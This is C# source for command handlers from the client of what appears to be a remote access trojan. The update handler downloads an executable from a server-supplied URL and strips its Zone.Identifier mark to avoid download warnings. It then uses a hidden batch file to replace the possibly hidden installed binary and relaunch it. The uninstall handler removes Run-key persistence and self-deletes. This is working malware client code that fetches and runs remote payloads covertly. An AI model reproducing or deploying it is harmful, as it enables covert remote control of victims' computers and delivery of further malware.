public static void HandleUpdate(Core.Packets.ServerPackets.Update command, Core.Client client)
{
// i dont like this updating... if anyone has a better idea feel free to edit it
new Core.Packets.ClientPackets.Status("Downloading file...").Execute(client);
new Thread(new ThreadStart(() =>
{
string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.GetRandomFilename(12, ".exe"));
try
{
using (WebClient c = new WebClient())
{
c.Proxy = null;
c.DownloadFile(command.DownloadURL, tempFile);
}
}
catch
{
new Core.Packets.ClientPackets.Status("Download failed!").Execute(client);
return;
}
new Core.Packets.ClientPackets.Status("Downloaded File!").Execute(client);
new Core.Packets.ClientPackets.Status("Updating...").Execute(client);
try
{
DeleteFile(tempFile + ":Zone.Identifier");
var bytes = File.ReadAllBytes(tempFile);
if (bytes[0] != 'M' && bytes[1] != 'Z')
throw new Exception("no pe file");
string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.GetRandomFilename(12, ".bat"));
string uninstallBatch = (Settings.INSTALL && Settings.HIDEFILE) ?
"@echo off" + "\n" +
"echo DONT CLOSE THIS WINDOW!" + "\n" +
"ping -n 20 localhost > nul" + "\n" +
"del /A:H " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"move " + "\"" + tempFile + "\"" + " " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"start \"\" " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"del " + "\"" + filename + "\""
:
"@echo off" + "\n" +
"echo DONT CLOSE THIS WINDOW!" + "\n" +
"ping -n 20 localhost > nul" + "\n" +
"del " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"move " + "\"" + tempFile + "\"" + " " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"start \"\" " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"del " + "\"" + filename + "\""
;
File.WriteAllText(filename, uninstallBatch);
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.CreateNoWindow = true;
startInfo.UseShellExecute = true;
startInfo.FileName = filename;
Process.Start(startInfo);
SystemCore.Disconnect = true;
client.Disconnect();
}
catch
{
DeleteFile(tempFile);
new Core.Packets.ClientPackets.Status("Update failed!").Execute(client);
return;
}
})).Start();
}
public static void HandleUninstall(Core.Packets.ServerPackets.Uninstall command, Core.Client client)
{
new Core.Packets.ClientPackets.Status("Uninstalling... bye ;(").Execute(client);
if (Settings.STARTUP)
{
if (SystemCore.AccountType == "Admin")
{
try
{
Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (key != null)
{
key.DeleteValue(Settings.STARTUPKEY, true);
key.Close();
}
}
catch
{
// try deleting from Registry.CurrentUser
Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (key != null)
{
key.DeleteValue(Settings.STARTUPKEY, true);
key.Close();
}
}
}
else
{
try
{
Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (key != null)
{
key.DeleteValue(Settings.STARTUPKEY, true);
key.Close();
}
}
catch
{ }
}
}
string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.GetRandomFilename(12, ".bat"));
string uninstallBatch = (Settings.INSTALL && Settings.HIDEFILE) ?
"@echo off" + "\n" +
"echo DONT CLOSE THIS WINDOW!" + "\n" +
"ping -n 20 localhost > nul" + "\n" +
"del /A:H " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"del " + "\"" + filename + "\""
:
"@echo off" + "\n" +
"echo DONT CLOSE THIS WINDOW!" + "\n" +
"ping -n 20 localhost > nul" + "\n" +
"del " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"del " + "\"" + filename + "\""
;
File.WriteAllText(filename, uninstallBatch);
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.CreateNoWindow = true;
startInfo.UseShellExecute = true;
startInfo.FileName = filename;
Process.Start(startInfo);
SystemCore.Disconnect = true;
client.Disconnect();
}